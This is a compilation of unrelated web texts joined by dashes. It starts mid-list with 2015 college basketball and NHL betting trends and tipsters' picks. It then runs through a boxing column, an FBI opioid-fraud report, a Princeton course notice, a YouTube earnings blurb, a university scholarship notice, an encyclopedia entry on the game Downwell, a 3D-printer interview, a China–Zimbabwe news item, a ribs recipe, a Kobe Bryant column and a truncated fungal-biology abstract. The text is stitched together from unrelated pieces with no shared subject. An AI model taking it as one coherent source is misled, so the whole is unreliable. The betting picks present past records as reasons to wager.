units)  CBB > (563) NEVADA@ (564) BOISE ST | 02/21/2015 – 03:00 PM  Play ON NEVADA using the teaser in Road games off a loss against a conference rival  The record is 41 Wins and 4 Losses for the since 1992 (+36.6 units)  CBB > (573) TCU@ (574) KANSAS | 02/21/2015 – 04:00 PM  Play ON KANSAS using the teaser in Home games against conference opponents  The record is 23 Wins and 1 Losses for the last three seasons (+21.9 units)  NHL Stats and Trends for Saturday  Hot teams  — Islanders won five of their last six games; Washington won seven of last nine.  — Predators won six of their last seven games.  — Blue Jackets won three of their last four games.  — Panthers won last two games, are 5-4 in their last nine.  — Carolina won three of its last five road games. Devils won last two games, allowing three goals.  — Blues won four of their last five games.  — Dallas Stars won four of last six games.  — Kings won their last six games, allowing 12 goals.  Cold teams  — Flyers lost four of their last five games.  — Toronto is 4-22-2 in its last 28 games. Jets lost six of their last seven road games.  — Montreal lost three of its last five games.  — Ottawa is 0-7 in game following its last seven wins.  — Ducks lost five of their last seven games. Edmonton lost three of last four.  — Penguins lost last three games: 2-1/3-1/2-1.  — Red Wings lost three of their last four games.  — Lightning is 4-5 in its last nine games. Arizona lost last four games, outscored 16-6.  — Sharks lost five of their last seven games.  Series records  — Islanders lost three of last four visits to Washington.  — Predators lost three of last four visits to Philly.  — Jets won their last five games with Toronto.  — Canadiens won three of last four games with Columbus.  — Panthers won three of last four games with Ottawa.  — Devils won three of last four games with Carolina.  — Ducks won 19 of last 23 games with Edmonton.  — Blues are 4-3 in last seven with Pittsburgh, winning 2-1/1-0 in last two.  — Red Wings won eight of last ten games with Dallas.  — Lightning is 5-4 in its last nine games with Arizona.  — LA-SJ game is outdoors at Levi’s Stadium in Santa Clara; Kings won five of last seven in series. .  Totals  — Seven of last nine Washington home games stayed under.  — Nine of last thirteen Nashville road games went over.  — Six of last eight Winnipeg road games went over total.  — Seven of last eight Columbus road games stayed under.  — Six of last eight Ottawa home games went over total.  — Six of last seven New Jersey home games stayed under.  — Four of last five Edmonton home games stayed under.  — Nine of last eleven Penguin road games stayed under.  — Eight of last ten Detroit road games stayed under.  —  — Seven of last ten LA road games stayed under total.  Back-to-back  — Carolina is 2-7 if it played the night before; New Jersey is 4-8. .  — Ducks are 3-2 on road if they played night before; Oilers are 1-6 overall.  — NHL home teams are 6-10 if they also played at home the night before.  NHL > (3) NASHVILLE@ (4) PHILADELPHIA | 02/21/2015 – 01:05 PM  Play ON NASHVILLE using the money line in All games  The record is 29 Wins and 6 Losses for the this season (+20.8 units)  NHL > (13) ANAHEIM@ (14) EDMONTON | 02/21/2015 – 07:05 PM  Play ON ANAHEIM using the money line in Road games on Saturday games  The record is 17 Wins and 4 Losses for the last three seasons (+15.1 units)  NHL > (13) ANAHEIM@ (14) EDMONTON | 02/21/2015 – 07:05 PM  Play ON ANAHEIM using the in Road games on Saturday games  The record is 17 Wins and 4 Losses for the last three seasons (+15.1 units)  NHL > (19) DETROIT@ (20) DALLAS | 02/21/2015 – 08:05 PM  Play AGAINST DALLAS using the in Home games revenging a loss versus opponent  The record is 4 Wins and 13 Losses for the this season (-12.9 units)  NHL > (19) DETROIT@ (20) DALLAS | 02/21/2015 – 08:05 PM  Play AGAINST DALLAS using the money line in Home games revenging a loss versus opponent  The record is 4 Wins and 13 Losses for the this season (-12.9 units)  NHL > (5) COLUMBUS@ (6) MONTREAL | 02/21/2015 – 07:05 PM  Play ON COLUMBUS using the money line in All games revenging a home loss versus opponent  The record is 21 Wins and 11 Losses for the last two seasons (+17.05 units)  NHL > (5) COLUMBUS@ (6) MONTREAL | 02/21/2015 – 07:05 PM  Play ON COLUMBUS using the in All games revenging a home loss versus opponent  The record is 21 Wins and 11 Losses for the last two seasons (+17.05 units)  NHL > (5) COLUMBUS@ (6) MONTREAL | 02/21/2015 – 07:05 PM  Play OVER COLUMBUS on the total in Road games after playing 3 consecutive road games  The record is 8 Overs and 0 Unders for the last three seasons (+8.45 units)  NHL > (1) NY ISLANDERS@ (2) WASHINGTON | 02/21/2015 – 12:35 PM  Play AGAINST WASHINGTON using the money line in All games after a 3 game unbeaten streak  The record is 0 Wins and 6 Losses for the this season (-8.3 units)  NHL > (1) NY ISLANDERS@ (2) WASHINGTON | 02/21/2015 – 12:35 PM  Play AGAINST WASHINGTON using the in All games after a 3 game unbeaten streak  The record is 0 Wins and 6 Losses for the this season (-8.3 units)  NHL > (7) WINNIPEG@ (8) TORONTO | 02/21/2015 – 07:05 PM  Play AGAINST TORONTO using the money line in All games revenging a loss versus opponent  The record is 8 Wins and 24 Losses for the this season (-19 units)  NHL > (7) WINNIPEG@ (8) TORONTO | 02/21/2015 – 07:05 PM  Play AGAINST TORONTO using the in All games revenging a loss versus opponent  The record is 8 Wins and 24 Losses for the this season (-19 units)  NHL > (11) CAROLINA@ (12) NEW JERSEY | 02/21/2015 – 07:05 PM  Play UNDER NEW JERSEY on the total in Home games when playing against a team with a losing record  The record is 6 Overs and 21 Unders for the last three seasons (+14.7 units)  NHL > (11) CAROLINA@ (12) NEW JERSEY | 02/21/2015 – 07:05 PM  Play ON CAROLINA using the money line in All games when playing against a team with a losing record in the second half of the season  The record is 6 Wins and 0 Losses for the this season (+7.05 units)  NHL > (11) CAROLINA@ (12) NEW JERSEY | 02/21/2015 – 07:05 PM  Play ON CAROLINA using the in All games when playing against a team with a losing record in the second half of the season  The record is 6 Wins and 0 Losses for the this season (+7.05 units)  NHL > (17) PITTSBURGH@ (18) ST LOUIS | 02/21/2015 – 08:05 PM  Play UNDER PITTSBURGH on the total in All games after a division game  The record is 5 Overs and 15 Unders for the this season (+10.1 units)  NHL > (7) WINNIPEG@ (8) TORONTO | 02/21/2015 – 07:05 PM  Play OVER WINNIPEG on the total in All games in a road game where where the total is 5.5  The record is 12 Overs and 4 Unders for the this season (+9.05 units)  NHL > (3) NASHVILLE@ (4) PHILADELPHIA | 02/21/2015 – 01:05 PM  Play OVER PHILADELPHIA on the total in All games on Saturday games  The record is 26 Overs and 10 Unders for the last three seasons (+16.6 units)  NHL > (1) NY ISLANDERS@ (2) WASHINGTON | 02/21/2015 – 12:35 PM  Play OVER NY ISLANDERS on the total in All games after scoring 4 goals or more in their previous game  The record is 29 Overs and 13 Unders for the last two seasons (+15.3 units)  Sports picks from the Pro’s  StatFox Super Situations  NBA | OKLAHOMA CITY at CHARLOTTE  Play On – Any team (CHARLOTTE) revenging a road blowout loss vs opponent of 20 points or more, off an upset loss by 15 points or more as a home favorite  29-8 since 1997. ( 78.4% | 20.2 units )  1-0 this year. ( 100.0% | 1.0 units )  NBA | OKLAHOMA CITY at CHARLOTTE  Play On – Home underdogs vs. the 1rst half line (CHARLOTTE) a marginal losing team (40% to 49%) playing a winning team, on Saturday games  96-50 since 1997. ( 65.8% | 41.0 units )  3-2 this year. ( 60.0% | 0.8 units )  StatFox Super Situations  CBB | IUPU-FT WAYNE at N DAKOTA ST  Play Against – Home favorites of 3.5 to 9.5 points (N DAKOTA ST) after allowing 25 points or less in the first half last game against opponent after 2 straight wins by 15 points or more  46-18 over the last 5 seasons. ( 71.9% | 26.2 units )  6-5 this year. ( 54.5% | 0.5 units )  CBB | GONZAGA at ST MARYS-CA  Play Against – Home underdogs of +145 to +350 vs. the money line (ST MARYS-CA) off a home win by 10 points or more, in February games  150-38 since 1997. ( 79.8% | 62.5 units )  2-3 this year. ( 40.0% | -5.9 units )  CBB | CALIFORNIA at STANFORD  Play Against – A home team vs. the 1rst half line (STANFORD) after failing to cover the spread in 5 or more consecutive games, a good team (60% to 80%) playing a team with a winning record  41-15 over the last 5 seasons. ( 73.2% | 24.5 units )  7-5 this year. ( 58.3% | 1.5 units )  Basketball Crusher  Houston +7.5  EZWINNERS  All 1st Half Plays  3* Pittsburgh +2  3* Georgia Tech +6.5  3* Texas Tech +5.5  3* UMass +5.5  3* Oklahoma St -2.5  3* Texas -1.5  3* Marquette +5.5  3* Virginia Tech +7.5  3* Georgia +1.5  3* UCLA +8.5  3* St. Mary’s +3.5  3* Colorado +2  Stephen Nover  3* marshall +10.5  2* central mich -12  1* austin peay +19  MADDUX SPORTS  Fresno St +6  Niagra +11  North Dakota St -4  South Alabama +10  ARLON SPORTS  N Carolina -11.5  Kansas St +9  Xavier -4.5  Geo Wash +5  Detroit pk  Pacific +4  The Rainman  3*North Carolina -11′  3*Vanderbilt -12  3*Old Dominion -1  1*Mississippi St. +8 over Arkansas  1*Western Michigan +1′ over Toledo  1*Arkansas St. +2′ over LA Monroe  1*Pacific +4 over Portland  1*Virginia Tech +13′ over N.C. St.  River City Sharps  Utah -7.5  Al DeMarco  15 dme – Davidson  5 dime – Jams Madison  BigAL  3* Texas -2 (rotation #554)  3* Nevada +13.5 (rotation #563)  3* N. Dakota St. -4 (rotation #678)  Jason Sample  2U:  Pepperdine -2.5  Richmond -1/James Madison -1  1U:  ODU -1.5  Marc Lawrence  duquesne  st marys cal  Gaberial Dupont  150 dimes – pepperdine  Platinum Plays  500K Pac12 Lock/Month – Oregon St Beavers -3½  500K College Blowout/Year – Xavier Muskateers -4  Premier Pick – Houston Rockets -3  Premier Pick – Texas Longhorns -2  Hockey Crusher  San Jose Sharks +101  VERNON CROY  Florida Panthers-118  Soccer Crusher  Kortrijk + Westerlo OVER 2.5
-Chad Dawson claims that he's processed and easily gotten past last September's devastating loss to Andre Ward at 168 pounds, but the way he talks about the fight makes you wonder if that's really the case, as he prepares for Saturday's HBO main event at 175 against Adonis Stevenson.  Dawson (31-2, 17 KO) was stopped in the tenth round, going down in the third, fourth, and 10th frames before telling referee Steve Smoger that he'd had enough. The "quitting" loss was criticized somewhat at the time, but others couldn't really blame Dawson, as he'd simply been outclassed and beaten up by a healthier, stronger Ward. The weight drain to get down to 168 seemed pretty obvious.  But here's what Dawson said this week about that fight:  "My honest opinion is it was definitely a set up by HBO and other people too. It was set up for me to come in at 168. I would be vulnerable and they could expose it and he would look good at the same time. That's just my opinion on the whole situation. We could've done it at a catch weight where we both would've been comfortable but they wanted it at 168. They wanted me to come to Oakland. And I know HBO has high hopes for Andre Ward. I know they have high hopes for him and they want to make him this big champion but that's water under the bridge for me."  I don't even want to say he's wrong or crazy, because what the hell do I know? It's true that nobody forced Chad Dawson to go to 168 pounds. He could have passed on the idea and taken a lesser fight, but the money was right for this one. I'm sure most at HBO did expect Ward to win, and those who know boxing largely did believe that dropping down a weight class for the first time in several years ran a very high risk of hurting Dawson physically, and that appeared to be the case.  But I don't know if you can call it a "set-up," really. It was a money offer and Dawson took it. In some ways, it sounds like he didn't really think that the weight would be a big deal. He acknowledges now that it was. And again, a whole lot of pundits and fans and even fellow fighters thought it was too much of a risk.  The way I look at it, Dawson miscalculated the impact the weight loss would have on him, and the best you can hope for now is that it didn't mentally affect him too terribly moving forward. If it has, Adonis Stevenson is definitely a live dog on Saturday.
-“It’s obvious to anyone who picks up a newspaper or turns on the news that the nation is in the midst of a crisis,” FBI Acting Director Andrew McCabe said at a July 13 press conference at the U.S. Department of Justice, where he joined Attorney General Jeff Sessions and the heads of the Department of Health and Human Services (HHS) and the Drug Enforcement Agency (DEA) in announcing the charges. “Opioid abuse destroys lives and it devastates families. This week, we arrested once-trusted doctors, pharmacists, and other medical professionals who were corrupted by greed. These people inflicted a special kind of damage.”  Additionally, HHS began suspending 295 providers—including doctors, nurses, and pharmacists—so they can no longer participate in federal health programs like Medicare, Medicaid, and TRICARE, a health insurance program for veterans and the military.  The takedown targeted schemes that billed the federal programs for medically unnecessary prescription drugs. It also focused on medical professionals who unlawfully distributed opioids and other prescription narcotics, thereby contributing to the opioid epidemic.
-REUTERS/Brendan McDermid Next semester, 200 lucky Princeton students will have the opportunity to take The Great Recession: Causes, Consequences, and Remedies with professor Paul Krugman.  The reading list is stacked (and we can't believe that only 178 students are currently signed up to take a class with a Nobel Prize winner, according to Princeton's office of the registrar).  "The course will begin by reviewing the causes of the recession that began in December 2007. It will concentrate on consumer behavior, financial markets, unemployment, and the housing sector," according to the course description. "The role of public policies in contributing to the economic crisis and in ending the crisis will be explored. The state of the recovery will be assessed and monitored."  Regular Krugman readers will recognize many of the texts from his bloggings at the New York Times, but it's cool to see them laid out all syllabus style.  You can follow along at home all semester. Things get a little more free-form by April, but the midterm is on March 12, kids (via David Dayen):
-Updated Stats  Video Views Per Day: 1,422,483  Current Number of Subscribers: 4,634,338  Current Number of Views: 818,214,380  Estimated Earnings Per Day: $1830  Youtube is number three most visited website on the internet. Containing millions of active users, Youtube gets around 4 Billion unique visits daily and that's not it. Youtube started a program called "youtube partnership" in 2007. With that program anyone can earn revenue for making original content and sharing it on youtube. So from the year 2007 up till now youtube has approved hundreds and thousands of youtube channels for revenue generation.  Fact: Youtube in October 2012 announced that its top 1000 partners are making more than $23,000 per month, on average, just by advertising google ads on their videos. This doesn't include the product promotions that youtube partners can do to make extra few bucks .  The best part of youtube is that you don't have to make a million dollar movie to start. All it takes is just a camera, a laptop(or desktop, whatever you prefer), an internet connection and a good idea(which won't cost you any money). There are thousands of examples on youtube of people who are making a living out of youtube and all they did was they started to follow their passion and now they are dealing in some good money.  Youtube is open for you all the time, but I would recommend that a good age to find the audience of your kind would be 13-21 years. Most of the Youtube partners who are making handsome money on youtube are above 21, but they started when they were in there teens like, Shane Dawson, Ray William Johnson, Phillip de Franco, Pewdiepie and many more...  So its time for you to either sit back, relax and watch videos other people have made, or jump in as a youtube partner and make money, or even living out of youtube.
-Alumni Legacy Scholarship  The school we all know today as Eastern Michigan University has had many names over its history, and so have the students who’ve attended. Normalites, Hurons, and Eagles have gathered over the years to share in the traditions and rich history of EMU. Traditions not only pass through each graduating class, but strengthened through numerous generations – continuing a family legacy. Do you have relatives who have graduated from EMU? If so, you are in luck, in 1970, a scholarship was established to honor the children and grandchildren of EMU alumni.  This scholarship helps many students who are currently enrolled at EMU, and those who have already come and gone through the campus know what a great experience EMU can be. The school is always looking for almuni to keep the traditional alive by donating to the Alumni legacy scholarship fund.  Eligible recipients can be awarded $1,250 per academic year and the reward is renewable based upon class level, degree program, and successful completion of other eligibility requirements. Awards are renewable for up to four consecutive years. That’s a cool 5k!  Application Guidelines  So your granddad loves to tell stories of his time here and now you’re interested in the money up for grabs. What do you need to know?  Be accepted as a Freshman, Sophmore or transfer student Submit a fully completed application. Provide official transcripts reflecting at least a 3.2 grade point average. Entering freshman, please provide official high school transcripts that include ACT/SAT scores and a cumulative grade point average. If you have already been admitted to EMU, your transcripts will be pulled through the Admissions Office. Entering sophomores and transfer students should provide official college transcripts. A written letter of recommendation. (not from a family member, they’ve already helped enough with this particular scholarship) An essay (500 words or less), describing what it means to you to be an EMU Legacy. Resume outlining work, school, extracurricular activities, and volunteer experience.  Additionally, all applicants must be sponsored by a parent or grandparent who is an Eastern Michigan University alum. Demonstration of financial need is not a requirement for this scholarship. The Office for Alumni Relations must receive all applications, complete and ready for review, by the posted deadline of May 1, 2015 at 5 p.m.  View Alumni Scholarship Scoring Rubric  Renewal Criteria  So if you’ve earned it, how do you keep it?  In order to remain eligible for the Alumni Association Legacy Scholarship, all recipients must:  Earn and maintain a 3.2 grade point average Participate in at least 3 service hours at alumni events and other activities sponsored by the Office for Alumni Relations per semester Enroll as a full-time students for every semester (fall and winter) this scholarship is received. That 12 credit hours.  After you apply, winners are announced in July 2015. That’s right around the corner, so get to it! The deadline is May 1st. Follow this link to the application. Good luck!
-Downwell is a roguelike vertically scrolling shooter platform video game developed by Ojiro "Moppin" Fumoto and published by Devolver Digital. The game was released for iOS and Microsoft Windows in October 2015, for Android in January 2016, and for PlayStation 4 and PlayStation Vita in May 2016. A port for the Nintendo Switch was released in January 2019 and was ported by British studio Red Phantom Games, which also developed the PlayStation ports.[1]  Plot [ edit ]  Downwell centers around a "curious man" named Welltaro, who is at the local park one night when he decides to explore the depths of the well nearby. Knowing that monsters are waiting for him inside, he straps on his gunboots and starts his trip downwards, killing his enemies to proceed and collect treasure.[2]  Gameplay [ edit ]  Downwell 's protagonist shooting a stomping-resistant snail enemy with the "burst" ammo upgrade. protagonist shooting a stomping-resistant snail enemy with the "burst" ammo upgrade.  Downwell's art style and underground level design have been compared to Spelunky and Cave Story.[3] The game features three basic controls, the movement to left and right, and the ability to jump while on a solid surface. When mid-air, the player may press and hold the jump button down to fire from their gunboots.[4] Downwell is completely presented in a palette consisting of three colors, which default to black background and white outlines, with red as a highlight for gems, enemies and other important items. The precise colors are interchangeable through unlockable in-game palettes.[5]  The well is procedurally generated,[3] and the player is often confronted with a large number of different types of enemies, most of which can either be shot with the gunboots or stomped by jumping on them, others, however, are resistant to being stomped and can thus only be killed with bullets. While normal enemies only feature a red glare alongside the white outlines, these particular enemies are completely highlighted in red, with a more filled sprite body.[4] The gunboots are automatically reloaded when the player hits a surface, regardless of whether or not it is solid.[2] During the descent, players will find "timevoids", which, upon entering, stop everything outside them, as well as the music. These timevoids may lead to caves, which provide the player with a large amount of gems, or with an alternate weapon, which influences speed, delay, ammo usage, ammo count and the shoot pattern of the gunboots, as well as providing either health or a max ammo upgrade.[6] In other cases, the timevoids lead to a shop, where he is welcomed by a Jizō, who is taking the place of a shopkeeper, offering the player three different items in exchange for gems.[7]  The well is built up from multiple stages, each of them having three levels and featuring different sets of environmental designs and enemies.[8] At the end of each level, the player is given the choice between three player upgrades, which persist throughout the play session and support the player, additionally to ammo upgrades or shop purchases.[9] Additionally, alternating with color palettes unlocks, the player unlocks different movement styles, which influence his position and movement animation while on solid ground, as well as some of the well's procedural attributes, like frequency and type of timevoids.[5]  Development [ edit ]  Downwell's development began around March 2014. At that time, Fumoto had graduated in opera singing at the Tokyo University of the Arts, but felt like that was not the way he wanted to go in life.[10] So, at the end of February 2014, Fumoto canceled his studies and went on to make multiple "game-a-week" projects, after he read about that idea in Rami Ismail's article on Gamasutra.[11] Downwell was Fumoto's thirteenth project, in which he instantly saw a high potential and decided to continue its development.[7] Much of the game was influenced with Fumoto's obsession with Spelunky, and the initial idea for the game came from him wondering what a mobile phone game with similar gameplay would be like.[12] In early development the gameplay was that of a standard platform game, however once Fumoto came up with the Gunshoe mechanic he rebuilt the game around it.[13] During early development, the game was titled Fall or Well, however, during an indie meet-up in Tokyo, Japan, Fumoto figured that he needed an actual name for his game, and therefore came up with Downwell, and stuck with it.[14] While the game was not very popular at the time, Fumoto started posting animated GIF images of Downwell's gameplay in early development stages on his Japanese Twitter account, which came to the attention of Cara Ellison from The Guardian, as the game was largely different from Japan's usual indie gaming market.[15] On the same day of the article being published, indie publisher Devolver Digital hooked up with Fumoto through a comment on one of his GIF images, which showed the player shooting monsters and crates together with the "drone" upgrade, which repeats the actions the player takes.[16] This comment and the following dialog then led to Devolver Digital becoming Downwell's publisher.[17] With constant support from Devolver Digital and Fumoto's continuous posting of GIF images led to the opening of the game's official website and the announcement for the late 2015 release on iOS and Microsoft Windows.[18]  Due to Devolver Digital's international influence, the game went to different gaming conventions, one of which was the Independent Games Festival 2015, which was held from 2 March 2015 to 6 March 2015, at which Downwell got to the finalists of the "Student Showcase Award".[19] Another important convention was Japan's largest indie games festival, BitSummit 2015, which was held from 11 July 2015 to 12 July 2015, and at which Downwell was nominated for the Vermillion Gate Award by the Grand Jury and scored second behind La-Mulana 2.[20] The game was finally announced for a release on 15 October 2015 and was released for iOS and Microsoft Windows, while Moppin continued working on the Android version. On 12 November 2015, Downwell was nominated for "Best Mobile/Handheld Game" for The Game Awards 2015, which took place on 3 December 2015.[21] On 11 December 2015, publisher Devolver Digital teased Downwell for future release on PlayStation Vita by sharing a picture showing the game running on a PlayStation Vita device with tate mode enabled.[22] On 26 January 2016, it was announced that Downwell would be released the following day, respectively, 27 January 2016. On 9 February 2016, an official video by Sony Computer Entertainment revealed that the game would be released for PlayStation 4 and PlayStation Vita sometime in 2016.[23]  Fumoto announced in January 2018 that had started working for Nintendo, saying "I'll do my best".[24] It is believed that his success with Downwell was a large factor in his hiring.[25] Fumoto previously stated that "[i]t was super fun developing games as indie" and that he "[could not] wait to see what it's like to develop games as part of a bigger team."[26] In September 2018, during that month's Nintendo Direct show, it was announced that Red Phantom Games was developing a port of Downwell for the Nintendo Switch.[1]  Reception [ edit ]  Upon release, Downwell received critical acclaim. On Metacritic, the game currently holds a score of 81/100 for Microsoft Windows,[27] 91/100 for iOS,[28] 80/100 for PlayStation 4,[29] and 85/100 for PlayStation Vita.[30] Steven Hansen from Destructoid praised the game's design concept and giving it a perfect 10/10 by saying that "[t]hese are the kind of things you learn as you delve deeper and deeper into Downwell's four worlds (three levels each) and they are presented intelligently."[31] Another positive review was written by Nadia Oxford from Gamezebo, who gave the game a 5 out of 5 stars ranking and praising Downwell's overall play-style and design, stating that "Downwell is easily one of the best action games to hit mobile this year. It’s intense, it’s unique, and every game you play goes towards unlocking something new."[32] Peter Bathge from German PC gaming magazine PC Games, however, gave the game a 70% score, criticizing that "[the game] feels somehow weird on the PC. This does not only come from the not always perfect, fixed and predefined controls, but the whole game principle is obviously cut to the mobile market needs."[33]  Awards [ edit ]
-Exclusive interview with Alex Youden, an ambitious young engineer from the UK who’s launched the NFire 1 modular 3D printer on Kickstarter.  Alex tinkering with the NFire 1  Though he’s only 19 years old, Alex Youden has already a remarkable track record in product design. Two years ago, he won the Intermediate Engineering and Technology category of the Young Engineer of Britain awards, developing a new way to practise a golfing technique.  Since then, he’s had one simple but ambitious vision; every home should have a 3D printer. He invested his prize money to start NFire Labs, and today he launches the NFire 1 on Kickstarter, a modular 3D printer that promises to be affordable and high-quality. ALL3DP spoke to Alex about the features of the NFire 1 and his plans for the campaign.  Q: This is an Elevator pitch for the NFire 1. Tell us what it is and why it’s exciting in 30 seconds or less. GO!  The NFire 1 is the worlds first truly modular 3D Printer which can change and adapt to your own personal journey through 3D printing. If you purchase a small 3D printer and then want to print larger objects, currently you would have to buy a new 3D printer. Not any more. If you purchase the standard sized NFire 1 3D printer, all you have to do is upgrade the axis and you can instantly double your build volume! Simply swap out the specific components and you are good to go. Printing in dual colours with the NFire 1 is as easy as printing with a single colour with a simple upgrade! We have focused on making upgrade-ability as easy as possible.  Q: We can see it’s a Delta printer. What advantages does this offer over a conventionally designed FDM printer?  NFire 1 Modular 3D Printer  The NFire 1 is a delta configured 3D printer, which means it overcomes some of the common issues that a standard cartesian FDM 3D printer has. It has increased printing speed due to its low mass print head. The footprint is vastly reduced compared to the print volume. We also think the delta design and the NFire 1 looks a lot nicer than the alternative cartesian 3D printers.  Q: The asking price is, frankly, astonishing. How on earth can you offer a 3D printer so cheap to backers without sacrificing quality?  Right from the start we wanted the NFire 1 to be local. Most of the printer has been sourced from within a 2 mile radius of our location. Why get something shipped half way around the world when it’s on your doorstep? The NFire 1 is therefore completely designed and manufactured here in the UK! A fact which not many other 3D printers can boast. Bulk pricing is another factor in offering the NFire 1 at such a great price. This is one of the reasons we turned to Kickstarter and crowd funding.  Q: And when you say “truly modular”, that’s a big promise! How does this work, exactly?  We started from scratch. With years of experience with building, modifying 3D printers we knew what works and what doesn’t. We combined all of the best ideas and the result of this was the NFire 1. With starting from the ground up we were able to create the necessary design changes to make all the parts interchangeable. This is something we are incredibly proud of, especially when the sky is the limit with the amount of upgrades and add-ons you can get for it.  Q: The theoretical build volume of 3,375cm^3 or 6,750cm^3 is also impressive. Is it easy to implement? What are the possible applications?  Sample prints from the NFire 1  We all know bigger is better, right? The possible applications of such a large volume is limited by only your imagination! You are able to print some of the most intricate and detailed prints which are huge compared to others. Peoples minds are blown when these 3D printed objects go from simple key-chains to something which can be held with two hands!  Q: The E3D extruder has a lot of fans in the 3D printing community. What makes this component so special, and why did you choose it for the NFire 1?  The E3D V6 Lite is a metal hotend which prints to an extremely high standard when tested, no other hotend came close to its performance. With the whole ethos of having high quality the e3D V6 Lite was an obvious choice. With it also being produced in the UK, it tied in with our whole local concept.  Q: For the Kickstarter campaign, do you have any stretch goals lined up, in the event you meet your initial targets?  We could tell you, but then we’d have to kill you! They will be released during the Kickstarter campaign.  Q: Tell us a bit more about yourself. What inspires you?  Two years ago I built my very first 3D Printer (A Reprap i2 for anyone out there interested). The first time I saw that hotend move about, buzzing and wiring, with this thin strip of molten plastic flowing out the end… It put a spark in my head. From that moment onwards 3D printing has been this simply mind-blowing concept of having a physical object created out of thin air to me! It’s this wonder and this amazement which I want to give to as many people in this world as possible. The NFire 1 provides a platform to do this. With it being made with high quality components and the fact it is so affordable it opens the door of many people! I firmly believe that in the near future every home will have a 3D printer.  Q: What advice would you give other folks using crowd-funding platforms for the first time? (Answering as a Start-Up)  Take your time, what ever you do don’t rush into it. The last thing you want to happen is to release something which is untidy and unfinished. Not only will it be hard to fund, but if it does, you are going to have one hell of a time sorting all the issues out with backers pressurising you for their pledge! The NFire 1 launch has been pushed back a few weeks just to make sure everything is in place and ready to go.  The C4DI has been incredibly helpful in regards to the progress of NFire Labs. I have never experienced anything like it before, and it really is a place which you have to go to to realise its full potential and what it can offer. For growing start-ups and indeed growing established businesses the C4DI in Hull is the place to go to! I don’t think NFire Labs would be half the company it is now with out the support from them.  Q: Finally, what’s the single most useful thing you’ve ever 3D printed?  It may not be the most useful, but it certainly is the most powerful. I 3D printed a traffic cone on the NFire 1 and it has turned into a firm favourite around the office. People are lost by its seamless appearance and it’s the same expression which I first had when I saw 3D printing. This amazement and you can see people trying to work out how it was made. It’s this feeling which needs to be had by anyone and everyone!​
-China to build new parliament for Zimbabwe – free of charge  China’s Zhang Ming was quoted as saying the new building was a donation to Zimbabwe.  JOHANNESBURG - A Chinese envoy has handed over construction plans for a new parliament building to President Robert Mugabe.  State radio is reporting that China plans to build the new parliament just outside Harare at no cost to Zimbabwe.  The state ZBC is reporting that a special envoy of Chinese president Xi Jinping handed over the construction plans to President Mugabe yesterday.  The new parliament building is planned for Mount Hampden, 18km west of the capital.  Apparently the current building is too small for Zimbabwe's large houses of assembly.  The envoy, Zhang Ming, was quoted as saying the new building was a donation to Zimbabwe.  Mugabe considers the Chinese government a key ally; he's called China Zimbabwe's all-weather friend.  But earlier this month, Mugabe criticised some Chinese businessmen based in Zimbabwe for failing to bank their money inside the country.
-I might have to change the name of this blog to Firetail BBQ!  It seems I am barbecuing more than I am brewing these days.  But never fear, I whipped up a batch of Bra Beer today (more on that in a few weeks when it is ready to drink)  I did however venture back into the world of low and slow cooking on the Weber Q.  Today's challenge was Bacon Wrapped Baby Back Ribs (try saying that 5 times quickly!)  That's right, wrap your pork ribs in bacon! Baby back ribs are pretty lean, the bacon will render and keep everything nice and moist.  Ingredients:  A couple racks of Baby Back pork ribs (I got mine from Super Butcher)  Your favourite BBQ rub.  Bacon  Method:  Rubbed and ready.  The night before your cook  Remove the membrane from the back of the ribs.  Cover in your favourite BBQ rub.  Wrap in foil and place in the fridge.  On the day of the cook  Take your bacon and create a loose weave over the top of the ribs, mine is very loose as I only had a little bit of bacon left (Oh No!!)  Ohhhh Yeah.  3 hours before serving clean and prep the Weber  Set up your smoke box or pouch with whatever wood you like (I used Mesquite and Hickory)  Place a double layer of foil on the grill, top that with a trivet  Place a foil pan full of water next to the trivet  Get the BBQ to 120ºC (250ºF)  Arrange you ribs on the trivet and walk away for 1.5 hours.  Here they are looking lovely after 1.5 hours, here I baste liberally in BBQ sauce.  I was planning on making my own, but ran out of time and used Master Foods BBQ Rib sauce, which is fantastic.  And after 3 hours low and slow, here is the final result.  Bones were picked clean, mouths were wiped, requests for more were spoken!  Another excellent technique for low and slow cooking on the Weber Q.  Cheers
-In his first public comments since the Los Angeles Lakers announced that he had suffered a torn right rotator cuff, Kobe Bryant went peak Kobe Bryant with his Twitter response:  This is what happens when I pass too much! #ShoulderShock thank u all for ur thoughts and prayers #team @DrinkBODYARMOR @Lakers #oneluv — Kobe Bryant (@kobebryant) January 23, 2015  That is brilliant. And perfect Kobe – a self-aware joke, an endorsement, hashtags and thanks.  Scroll to continue with content Ad  More telling? No dour notes, no blacked-out Twitter avatar (as he did during his 2013 rehab from an Achilles tear), no complaints about the struggle being real, nothing for us to chomp down on in wondering if Kobe was game to retire after a third consecutive season was ended by a major injury.  Bryant was never going to retire, regardless of the $25 million he would be walking away from in the process, but it wouldn’t be atypical for him to spend the next few months fuming and lamenting his recent streak of bad luck. It would have been just fine for Bryant to be frustrated before the cloud cleared and the summer brought new hope, but we’re not getting any of that from this tweet. Perhaps we’re reading too much into a stupid Twitter message, but it’s still good to see.  Kobe Bryant, healthy and on the basketball court again, would be great to see. We’re enjoying 2014-15, but this is one benefit of 2015-16 that can’t get here soon enough.  - - - - - - -  Story continues  Kelly Dwyer is an editor for Ball Don't Lie on Yahoo Sports. Have a tip? Email him at KDonhoops@yahoo.com or follow him on Twitter!
-Abstract Arbuscular mycorrhizal (AM) fungi are mutualistic symbionts living in the roots of 80% of land plant species, and developing extensive, below-ground extraradical hyphae fundamental for the uptake of soil nutrients and their transfer to host plants. Since AM fungi have a wide host range, they are able to colonize and interconnect contiguous plants by means of hyphae extending from one root system to another. Such hyphae may fuse due to the widespread occurrence of anastomoses, whose formation depends on a highly regulated mechanism of self recognition. Here, we examine evidences of self recognition and non-self incompatibility in hyphal networks formed by AM fungi and discuss recent results showing that the root systems of plants belonging to different species, genera and families may be connected by means of anastomosis formation between extraradical mycorrhizal networks, which can create indefinitely large numbers of belowground fungal linkages within plant communities. Key Words: arbuscular mycorrhizal symbiosis, extraradical mycelium, anastomosis, plant interconnectedness, self recognition, non-self incompatibility, mycorrhizal networks  Introduction Most terrestrial plant species establish mutualistic symbioses with arbuscular mycorrhizal (AM) fungi, which develop extensive, belowground extraradical hyphae fundamental for the uptake of nutrients from soil and their transfer to the host plant.1,2 Since AM fungi have a wide host range, they are able to colonize and interconnect plants of different species, genera and families, by means of hyphae extending from one root system to another. Such mycorrhizal networks, first visualized and quantified in vivo by means of two-dimensional experimental systems, spread from colonized roots into the surrounding environment at growth rates ranging from 738 to 1067 mm per day, 